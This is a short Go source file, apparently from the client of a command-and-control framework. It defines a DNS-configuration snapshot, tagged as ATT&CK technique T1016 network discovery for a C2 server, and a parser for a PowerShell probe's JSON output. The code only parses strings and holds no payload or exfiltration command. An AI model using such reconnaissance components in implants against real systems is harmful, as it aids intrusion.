package client

import (
	"encoding/json"
	"strings"
)

// DNSConfig is a T1016 System Network Configuration Discovery snapshot.
// It captures the resolvers that are actually in use at probe time so the
// C2 server can detect drift between heartbeats (e.g. DHCP rogue resolver,
// or a post-compromise /etc/resolv.conf rewrite).
type DNSConfig struct {
	Servers       []string `json:"servers"`
	SearchDomains []string `json:"search_domains,omitempty"`
}

// parseDNSJSON parses the compact JSON emitted by the Windows PS probe.
// Expected shape: {"servers":"1.1.1.1,8.8.8.8","search":"corp.local"}
func parseDNSJSON(raw string) *DNSConfig {
	cfg := &DNSConfig{}
	var m map[string]interface{}
	if err := json.Unmarshal([]byte(raw), &m); err != nil {
		return cfg
	}
	if s, ok := m["servers"].(string); ok && s != "" {
		for _, addr := range strings.Split(s, ",") {
			addr = strings.TrimSpace(addr)
			if addr != "" {
				cfg.Servers = append(cfg.Servers, addr)
			}
		}
	}
	if s, ok := m["search"].(string); ok && s != "" {
		for _, d := range strings.Split(s, ",") {
			d = strings.TrimSpace(d)
			if d != "" {
				cfg.SearchDomains = append(cfg.SearchDomains, d)
			}
		}
	}
	return cfg
}